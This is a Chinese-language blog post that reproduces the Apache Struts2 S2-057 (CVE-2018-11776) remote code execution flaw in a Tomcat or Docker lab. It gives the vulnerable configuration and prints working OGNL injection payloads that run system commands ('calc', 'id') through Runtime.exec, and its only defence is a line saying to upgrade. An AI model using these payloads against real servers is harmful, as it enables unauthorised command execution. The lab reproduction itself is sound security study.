• Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现


    Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 

    一、漏洞描述

    S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去 。

    二、漏洞影响版本

    Apache struts 2.3-Apache struts 2.3.34

    Apache struts 2.5-Apache struts 2.5.16 

    三、漏洞环境搭建以及复现

    Win7+tomcat7.0+struts-2.5.16

    1、下载struts 2.5.16官方示例showcase

    2、把下载的struts2-showcase放到tomcat的webapps目录下

      

    3、修改struts-actionchaining.xml,发现有两处需要修改

      

    4、修改struts-actionchaining.xml,将namespace删除, 将 result 类型改为 redirectAction

    修改为如下:  

    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>

    5、重启tomcat

    6、浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建

       

    7、此漏洞利用很简单,只需要在url构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾

    浏览器访问http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,会执行 Ognl 表达式 ${100*100}

      

    8、路径跳转到我们在配置的action文件路径下,到此,S2-057漏洞被成功的利用了

    9、弹计算器,但是在目标没有弹出计算器

    Poc如下: 

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

      

    四、漏洞防御

    1、 升级最新版本

    使用docker搭建

    1、利用docker搭建vulhub漏洞环境

    docker-compose up -d

    2、 启动环境后,访问http://172.17.0.1:8080/struts2-showcase/

      

    3、burp抓包,修改包如下,说明存在漏洞

      

    4、使用poc验证

    POC如下:

    ${
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    5、把poc替换相应的位置,验证说明存在漏洞  #poc需要url编码

      

    -----------------------------------------------------------------------------------------------------------

    参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

  • 相关阅读:
    Java版远程控制V1.0
    Struts2使用Kindeditor4.0.3在线编辑器上传图片、视频、FLASH、附件
    给你的网站加上站内搜索Spring+Hibernate基于Compass(基于Lucene)实现
    Hibernate整合进spring使用自己的事务处理
    Hibernate整合进spring使用hibernateTemplate.getSessionFactory().getCurrentSession()理解
    GWT(Google Web Toolkit)入门学习
    转载:狼与哈士奇
    [转]远程桌面无法连接上(管理员已结束了会话)的解决方法
    ibmDW:凤凰涅槃:从 iBatis 到 MyBatis
    hibernate多对多映射拆成2个一对多映射(注解)
  • 原文地址:https://www.cnblogs.com/yuzly/p/11186012.html
Copyright © 2020-2023  润新知